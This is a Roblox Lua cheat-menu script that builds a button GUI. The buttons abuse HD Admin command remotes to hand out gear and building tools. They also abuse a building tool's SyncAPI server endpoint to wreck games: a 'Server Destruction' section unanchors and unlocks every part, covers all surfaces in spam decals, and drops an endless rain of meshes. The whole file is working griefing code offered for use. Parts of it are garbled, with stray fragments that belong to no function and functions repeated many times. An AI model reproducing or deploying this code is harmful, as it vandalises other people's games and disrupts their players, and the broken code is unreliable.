Plane.ZIndex = 2
Plane.Font = Enum.Font.SourceSans
Plane.Text = "Plane"
Plane.TextColor3 = Color3.fromRGB(255, 255, 255)
Plane.TextSize = 14.000
Plane.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 163348575 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Snowball.Name = "Snowball"
Snowball.Parent = WeaponScripts
Snowball.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Snowball.BorderColor3 = Color3.fromRGB(255, 0, 0)
Snowball.BorderSizePixel = 3
Snowball.Position = UDim2.new(0.5, 3, 0, 198)
Snowball.Size = UDim2.new(0.5, -3, 0, 30)
Snowball.ZIndex = 2
Snowball.Font = Enum.Font.SourceSans
Snowball.Text = "Snowball"
Snowball.TextColor3 = Color3.fromRGB(255, 255, 255)
Snowball.TextSize = 14.000
Snowball.TextWrapped = true
Snowball.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 19328185 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Titan.Name = "Titan"
Titan.Parent = WeaponScripts
Titan.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Titan.BorderColor3 = Color3.fromRGB(255, 0, 0)
Titan.BorderSizePixel = 3
Titan.Position = UDim2.new(0.5, 3, 0, 231)
Titan.Size = UDim2.new(0.513333321, -3, 0, 30)
Titan.ZIndex = 2
Titan.Font = Enum.Font.SourceSans
Titan.Text = "Battle Titan"
Titan.TextColor3 = Color3.fromRGB(255, 255, 255)
Titan.TextSize = 14.000
Titan.TextWrapped = true
Titan.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 1304344132 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Hammer.Name = "Hammer"
Hammer.Parent = WeaponScripts
Hammer.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Hammer.BorderColor3 = Color3.fromRGB(255, 0, 0)
Hammer.BorderSizePixel = 3
Hammer.Position = UDim2.new(-0.0199999996, 3, 0.0840000138, 231)
Hammer.Size = UDim2.new(0.519999981, -3, 0, 30)
Hammer.ZIndex = 2
Hammer.Font = Enum.Font.SourceSans
Hammer.Text = "Hammer"
Hammer.TextColor3 = Color3.fromRGB(255, 255, 255)
Hammer.TextSize = 14.000
Hammer.TextWrapped = true
Hammer.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 45177979 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
GearTools.Name = "Gear/Tools"
GearTools.Parent = Page2_2
GearTools.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
GearTools.BorderColor3 = Color3.fromRGB(255, 0, 0)
GearTools.BorderSizePixel = 3
GearTools.Position = UDim2.new(0.5, 3, 0, 0)
GearTools.Size = UDim2.new(0.5, -3, 1, 0)
GearTools.ZIndex = 2
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Title_12.Name = "Title"
Title_12.Parent = GearTools
Title_12.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_12.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_12.BorderSizePixel = 3
Title_12.Size = UDim2.new(1, 0, 0, 30)
Title_12.ZIndex = 2
Title_12.Font = Enum.Font.SourceSansBold
Title_12.Text = "Gear/Tools (Need HD ADMIN)"
Title_12.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_12.TextSize = 14.000
Title_12.TextWrapped = true
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Empty.Name = "Empty"
Empty.Parent = GearTools
Empty.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Empty.BorderColor3 = Color3.fromRGB(255, 0, 0)
Empty.BorderSizePixel = 3
Empty.Position = UDim2.new(0, 0, 0, 99)
Empty.Size = UDim2.new(0.5, 0, 0, 30)
Empty.ZIndex = 2
Empty.Font = Enum.Font.SourceSans
Empty.Text = "Empty"
Empty.TextColor3 = Color3.fromRGB(255, 255, 255)
Empty.TextSize = 14.000
Empty.TextWrapped = true
Gun.Name = "Gun"
Gun.Parent = GearTools
Gun.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Gun.BorderColor3 = Color3.fromRGB(255, 0, 0)
Gun.BorderSizePixel = 3
Gun.Position = UDim2.new(0.5, 3, 0, 99)
Gun.Size = UDim2.new(0.5, -3, 0, 30)
Gun.ZIndex = 2
Gun.Font = Enum.Font.SourceSans
Gun.Text = "Btools"
Gun.TextColor3 = Color3.fromRGB(255, 255, 255)
Gun.TextSize = 14.000
Gun.TextWrapped = true
Gun.MouseButton1Down:connect(function()
local args = {
[1] = ";btools me "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
PageLabel_3.Name = "PageLabel"
PageLabel_3.Parent = Page2_2
PageLabel_3.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel_3.BorderSizePixel = 3
PageLabel_3.Position = UDim2.new(0, 0, 1, -30)
PageLabel_3.Size = UDim2.new(1, 0, 0, 30)
PageLabel_3.ZIndex = 2
PageLabel_3.Font = Enum.Font.SourceSans
PageLabel_3.Text = "Page 2"
PageLabel_3.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel_3.TextSize = 18.000
PageLabel_3.TextWrapped = true
Page1_2.Name = "Page1"
Page1_2.Parent = Frame
Page1_2.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Page1_2.BorderColor3 = Color3.fromRGB(255, 0, 4)
Page1_2.BorderSizePixel = 3
Page1_2.Position = UDim2.new(0, 0, 0, 83)
Page1_2.Size = UDim2.new(1, 0, 1, -106)
Page1_2.ZIndex = 2
TextButton_7.Parent = ServerDestruction
TextButton_7.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_7.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_7.BorderSizePixel = 3
TextButton_7.Position = UDim2.new(0, 0, 0, 33)
TextButton_7.Size = UDim2.new(0.5, 0, 0, 30)
TextButton_7.ZIndex = 2
TextButton_7.Font = Enum.Font.SourceSans
TextButton_7.Text = "Team Fatify"
TextButton_7.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_7.TextSize = 14.000
TextButton_7.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) +
Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and
v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("13579585726")
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("13579585726")
end)
Title_13.Name = "Title"
Title_13.Parent = ServerDestruction
Title_13.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_13.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_13.BorderSizePixel = 3
Title_13.Size = UDim2.new(1, 0, 0, 30)
Title_13.ZIndex = 2
Title_13.Font = Enum.Font.SourceSansBold
Title_13.Text = "Server Destruction"
Title_13.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_13.TextSize = 14.000
Title_13.TextWrapped = true
TextButton_8.Parent = ServerDestruction
TextButton_8.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_8.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_8.BorderSizePixel = 3
TextButton_8.Position = UDim2.new(0, 0, 0, 66)
TextButton_8.Size = UDim2.new(0.5, 0, 0, 30)
TextButton_8.ZIndex = 2
TextButton_8.Font = Enum.Font.SourceSans
TextButton_8.Text = "Full Destruction"
TextButton_8.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_8.TextScaled = true
TextButton_8.TextSize = 14.000
TextButton_8.TextWrapped = true
TextButton_8.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) +
Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and
v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("8408806737")
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("8408806737")
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
TextButton_9.Parent = ServerDestruction
TextButton_9.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_9.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_9.BorderSizePixel = 3
TextButton_9.Position = UDim2.new(0, 0, 0, 99)
TextButton_9.Size = UDim2.new(0.5, 0, 0, 30)
TextButton_9.ZIndex = 2
TextButton_9.Font = Enum.Font.SourceSans
TextButton_9.Text = "Unanchor All"
TextButton_9.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_9.TextSize = 14.000
TextButton_9.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
TextButton_10.Parent = ServerDestruction
TextButton_10.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_10.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_10.BorderSizePixel = 3
TextButton_10.Position = UDim2.new(0.5, 3, 0, 33)
TextButton_10.Size = UDim2.new(0.5, -3, 0, 30)
TextButton_10.ZIndex = 2
TextButton_10.Font = Enum.Font.SourceSans
TextButton_10.Text = "Toad Rain"
TextButton_10.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_10.TextSize = 14.000
TextButton_10.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400),
math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and
v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(8,8,8))
SetMesh(v,"5038530279")
SetTexture(v, "5038530309")
SetCollision(v,false)
else
end
end
end)
end
end)
